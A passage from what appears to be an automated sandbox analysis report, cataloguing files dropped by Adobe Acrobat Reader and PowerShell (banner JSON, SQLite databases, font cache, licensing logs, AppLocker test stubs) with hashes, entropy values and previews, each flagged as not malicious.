Preview:	{"analyticsData":{"responseGUID":"1df19b99-ee9a-48f2-b300-7930d8e08706","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736738081266,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.3005972154685335
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6cvc14WsGiIPEeOF0YXnRDoAvJfQ1rPeUkwRe9:YvXKX6cE1bsdTeO3nRsGY16Ukee9
MD5:	8945D0FDCA1634C62680BE982E27A78B
SHA1:	34397947E81C2FB9DCA734BB276409E5EA5A634D
SHA-256:	101F3511A7E3C00CCEEA2E45CDA962F90ED276AA387183541CD0168B805B7FF1
SHA-512:	6A3D4FF342E28D06C6FC7864D7D0AFA1A6D311ACF87240DB0F3C72859138D7D74A08E26E6720B75A8FCAB98774A8F3E26F9DC4C498AA450A2FA48F8EA37DAFE5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1df19b99-ee9a-48f2-b300-7930d8e08706","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736738081266,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.315657321708075
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6cvc14WsGiIPEeOF0YXnRDoAvJfFldPeUkwRe9:YvXKX6cE1bsdTeO3nRsGz8Ukee9
MD5:	C6FA37104551E9D1ED25F7D574098F25
SHA1:	9FFD82D3C5AAF07BCCFC4273DD5437276278F184
SHA-256:	64C93E196D6AA15DC8E5E43F1E874C83CF157EF4962F04EF3224E2FF83C9ED99
SHA-512:	F7762B49124BBACA8569D8036B70F7A2B0722AB835E6D5E8998A753ACF6A8D10512BA24CFB39DCA579FC020F0ECECE98407262F94F76A275191C6EE7D00C014C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1df19b99-ee9a-48f2-b300-7930d8e08706","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736738081266,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.322421547234007
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6cvc14WsGiIPEeOF0YXnRDoAvJfzdPeUkwRe9:YvXKX6cE1bsdTeO3nRsGb8Ukee9
MD5:	D2815A769184AD4085DBA70BFA468ECF
SHA1:	CDF1AE30A96D14C3D4546E787DBECEA8BE78E08E
SHA-256:	2FF6D9C80727264426B0465EDE3A6BB0E2C84708C087B73F76098ABEA80053FF
SHA-512:	72041AD00B43867CE083CFBF5BFB998C0D31867665CC84A97A3AAC93FDD776528E1D3B822F1989562C87425517F081585245239F283BB65D800ACB44B617C839
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1df19b99-ee9a-48f2-b300-7930d8e08706","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736738081266,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.302834958292962
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6cvc14WsGiIPEeOF0YXnRDoAvJfYdPeUkwRe9:YvXKX6cE1bsdTeO3nRsGg8Ukee9
MD5:	047F6E54A7744DC8A196724C129A82EE
SHA1:	84D9E1162B857025A2940AD8F56DDDEA5350B7A7
SHA-256:	7B576F2F869FE51F90B94BDEE8DE8AD978551C6A2294262DB2B328F131752FCD
SHA-512:	47E577C8D329686F699626DE0878CC7849563A8962725C7794F2B8B224DC5328D3EBAAE3A763F8948EF125B736B989BFDCA466F9A6B1282A104CEAA7F2488607
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1df19b99-ee9a-48f2-b300-7930d8e08706","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736738081266,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.289516595973848
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6cvc14WsGiIPEeOF0YXnRDoAvJf+dPeUkwRe9:YvXKX6cE1bsdTeO3nRsG28Ukee9
MD5:	F24E2FB43EF09D0EA4414B2FAB8146E1
SHA1:	58141B6D1B5E6DB750020CCBD19E77F7432EDFDE
SHA-256:	C8F931C0B904595D16D83AEB873C08EB17BFC36195B4DD221B1A1CB75C8FBACE
SHA-512:	289888502075E54CAB23E58568E554FADC0879F871E5BDBFF493CF0F9CFCEA2800EE6FBAFCDD4F7B264A2F24DD6CFCC8FB01C909E9F9F42D62477AB09ED3D471
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1df19b99-ee9a-48f2-b300-7930d8e08706","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736738081266,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.286362571717389
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6cvc14WsGiIPEeOF0YXnRDoAvJfbPtdPeUkwRe9:YvXKX6cE1bsdTeO3nRsGDV8Ukee9
MD5:	D653661A195EA8F22DBF388E2FDE59F9
SHA1:	BB5CA1065EA43FB2E7ADB9994F63E2E787766099
SHA-256:	4F10212CE824DCEA084A64E9068BD76D30D32EA680E58915D6837E7805405D13
SHA-512:	EEE94A7632EDCE9C46C561C3389AA637F9C50DBCF77BCD49027492C51BFC18201B8AAE00D2BF16B15CFC34C96A4171144BFC10E22BEFE46FAB56AF3B2B5050AB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1df19b99-ee9a-48f2-b300-7930d8e08706","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736738081266,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.290738883798878
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6cvc14WsGiIPEeOF0YXnRDoAvJf21rPeUkwRe9:YvXKX6cE1bsdTeO3nRsG+16Ukee9
MD5:	DE5BBF0928E9F4F584AFA9D7216F15D6
SHA1:	EA31B82125B9B803EEF968FC084286E1239AB06A
SHA-256:	39BF618DE253E3712938571787951043EA597D2FB26E77502F87E4525246AF58
SHA-512:	517339117284F9FA45B4C504F9133BA60AA0C9CDBF2A8B4AF3E952984AC4727A208A5A80ACA4671F9D979C75E73D9CF5F18801C99C1FAA17B211E9930E2C3D04
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1df19b99-ee9a-48f2-b300-7930d8e08706","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736738081266,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.660327026270449
Encrypted:	false
SSDEEP:	24:Yv6X6cE1bmeO3R5amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSx:YvOesRFBgkDMUJUAh8cvMx
MD5:	E459EA9012877D0B744DA77EB5804031
SHA1:	DEDAEA44FC606072F45E8676B603FAA12CAE7697
SHA-256:	394151F6D9434239CE67AC558EE19F24D3DA26B2D2308C1BE58242E7D766064A
SHA-512:	B98D6B65E94E6F62938DB6B08A22918977E92E0A93F59882648102C8A9BCD1D855519ED7F7E1C47AF1DC931805E7E83E07408115FBE1B6009F33EC57F2E3C32F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1df19b99-ee9a-48f2-b300-7930d8e08706","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736738081266,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.266984980036863
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6cvc14WsGiIPEeOF0YXnRDoAvJfshHHrPeUkwRe9:YvXKX6cE1bsdTeO3nRsGUUUkee9
MD5:	C854CE205BB3D1AC87C92432A338688F
SHA1:	B954F9929202238C0A37E36300691B1EB433BFD8
SHA-256:	94794F7CF69C9A55A3D6AE9315A2480203801A3DB5AECF8CD1587D8DB5205B1B
SHA-512:	C991FABC49ADB184E6630063838EB326A2374CCAC7516EECC7E3FF01922FF4FDC2AD12F8BF5061957BE88D6C5A995429F73BD92A4AC9EA039A6B9D0188765A8A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1df19b99-ee9a-48f2-b300-7930d8e08706","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736738081266,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.281640159104384
Encrypted:	false
SSDEEP:	6:YEQXJ2HX6cvc14WsGiIPEeOF0YXnRDoAvJTqgFCrPeUkwRe9:YvXKX6cE1bsdTeO3nRsGTq16Ukee9
MD5:	8E14837167A91DA8CF2F68DB8C59117D
SHA1:	520B646F6B9F66A7E08DBEEB1E64B6414D99AC7E
SHA-256:	F9D6CA9ED670F97EBCC07C1D15680A11A73417952654B33C087BC17B6587E8D9
SHA-512:	47B707506431DDB92A515E47F12781B09EE935E1754D31FB3AFE5C33136F1BE63ECAFD346B6F74172EEBDD0FD62330DCEA8EACF6914B79B24C783FA77FA70FDA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1df19b99-ee9a-48f2-b300-7930d8e08706","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736738081266,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.137040552470804
Encrypted:	false
SSDEEP:	24:YeYQaqayf8IWhczBQg1XWU34Hj/j0StjRgR2aI2LSnCRFx69ZW7W5009kDXu0OG:YjhczfB30LBRca9Cx63Lx9C
MD5:	1B58A958ECA48F0356BC0476664ED177
SHA1:	79ACEB4FC719BFB771AC74A4AB0C9B9E0A1E6E1E
SHA-256:	25B0A2AEA627FF6420FC60E8C01A67E4D06F78CDBDFFD39725CD22557C1640BE
SHA-512:	3927C6241781199B32D156D003CBF587F021857516B5E3A52F55B7382785699F904D6AC34D5217408083EB9297CD95E5D82B9D90B8197C05B60BD9F7ACE36A4B
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"e65539e0c2d9b6b85a8d6332df556e8f","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736561321000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"c253765caa8e6f3da22ad9b315e4797c","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736561321000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"a31cdee1129eb0fc0153b0cb33035f07","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736561321000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"2c28017614bfc0c2c0748dce5a752f8a","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736561321000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"f51a7891fbc36d5c4b7e59e4b5e860c3","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736561321000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"9e31b80b687971d29112a4d245cb5285","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4541959085896758
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dszylhk:lNVmsw3SHtbDbPe0K3+fDZdgwk
MD5:	F2F99700FF92372B1AADC256C920872E
SHA1:	BA48B2D5105C465C399BE32A22AC9EFB15FD7CFF
SHA-256:	1A1F54E2FA9473C27F5C32C27BB45B6F863F4117C9C04E6E56D2720F500BA55E
SHA-512:	0DFBF21818FE1DE0042960918E4F36B1044EB4936B534789249845914176328DEF92F809F880CB00DFACE69F40B4FA5EC10E8C586AF24778FBCEEEF9ACD6A9CC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9591217510043357
Encrypted:	false
SSDEEP:	48:7MJrvrBd6dHtbGIbPe0K3+fDy2dszbFqFl2GL7mso:7I3SHtbDbPe0K3+fDZdgxKVmso
MD5:	4FBA497354151A9F9D4F18FF83BF390E
SHA1:	1AB708F88EC13E46C86FDA0A3D4B9FA32770AB74
SHA-256:	B6C7FD1740EDADED49061464B10472EF5CEC78CF6BEF6A5B8C6406E86BEA9599
SHA-512:	3AA8A98A09BD696C29A8FF25E3DFD412B5FF1C2F50B4B59FBA4860A1739CCBDF786C15C557FC9AF25FC7EDAB65DF4E121BE61FE204DCE404CBA93921D9B34090
Malicious:	false
Preview:	.... .c......Z.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgHGHSaECg0MXPzNWio4kS4O4w/dDYyu:6a6TZ44ADEHGHSxCgRXPxx4wFDK
MD5:	45293934FDA8F0B1F207F04C0F628C41
SHA1:	08D1330D81F1967251384CF9B075D36018AC6051
SHA-256:	4D6AA97DE6CB6A97FEFB547021887FBEF49375CF6521E7A82023C93F56096C88
SHA-512:	66B67A9E7C13EE477B8BA085C351A880D3497DD61A1A2C5C96F459AA1E45895C12597846730345E380F96F9EAAA0053BE8EAA38E04829B039D863A4BAC487390
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI9f0c7.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.503482856767026
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClsKH:Qw946cPbiOxDlbYnuRK+bi
MD5:	6F57BAFF2AEB24D9CFE72EB1738F9E18
SHA1:	0889DC66F50909AB05E51C4F7FC6FACC211A65B1
SHA-256:	D748D529EB69B019711FA7EB3001D399EB677FC3BAF46ED6E381EBB95049510F
SHA-512:	8A9CF31F57DC034803CE3A9CC933FA9C71BA73E9277FE3A79BB957ED84C12328DA2852F077D3E825146B82B063CD338BD69F5187F4BF7D763925EE7584778F0C
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.1.:.0.8.:.4.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n0rcqzgs.nl4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yndytpxu.j5n.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 21-08-34-991.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15113
Entropy (8bit):	5.3509686997453185
Encrypted:	false
SSDEEP:	384:0BboyMnfIPaAnV49OMWQbI6IMPuLwK7KGJ9DRJjR00dKEsAskL99epe7CDhPxqCR:JsI
MD5:	2BEC09B18B860D2B89E983DA6A088A58
SHA1:	05020E1DDBE0F17E400DE4D7D2DDE723E7979E88
SHA-256:	9413B17C5C968A89CD8C670186BA5D2C5FE6C3F557FBA6E43A325128E2730BA6
SHA-512:	9748B963DC686490E5C6842E43DC6BC377003F91D517A0E9A2A4B205ADB15E55C21BA2C1ED4F39EE13BD5C579523FD452F815CA8C245F4FF5E506E9DBE8B81CE
Malicious:	false
Preview:	SessionID=bfc2b6d7-1f09-4f5f-a7e5-ae73a5a9dcbf.1736561315039 Timestamp=2025-01-10T21:08:35:039-0500 ThreadID=7940 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=bfc2b6d7-1f09-4f5f-a7e5-ae73a5a9dcbf.1736561315039 Timestamp=2025-01-10T21:08:35:040-0500 ThreadID=7940 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=bfc2b6d7-1f09-4f5f-a7e5-ae73a5a9dcbf.1736561315039 Timestamp=2025-01-10T21:08:35:040-0500 ThreadID=7940 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=bfc2b6d7-1f09-4f5f-a7e5-ae73a5a9dcbf.1736561315039 Timestamp=2025-01-10T21:08:35:040-0500 ThreadID=7940 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=bfc2b6d7-1f09-4f5f-a7e5-ae73a5a9dcbf.1736561315039 Timestamp=2025-01-10T21:08:35:041-0500 ThreadID=7940 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.41175637201255
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRJ/:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRr
MD5:	75679D37924D40ED5E4F578E08F01480
SHA1:	42EBB99144106467A4F9DE002B90CCE1224A2DFD
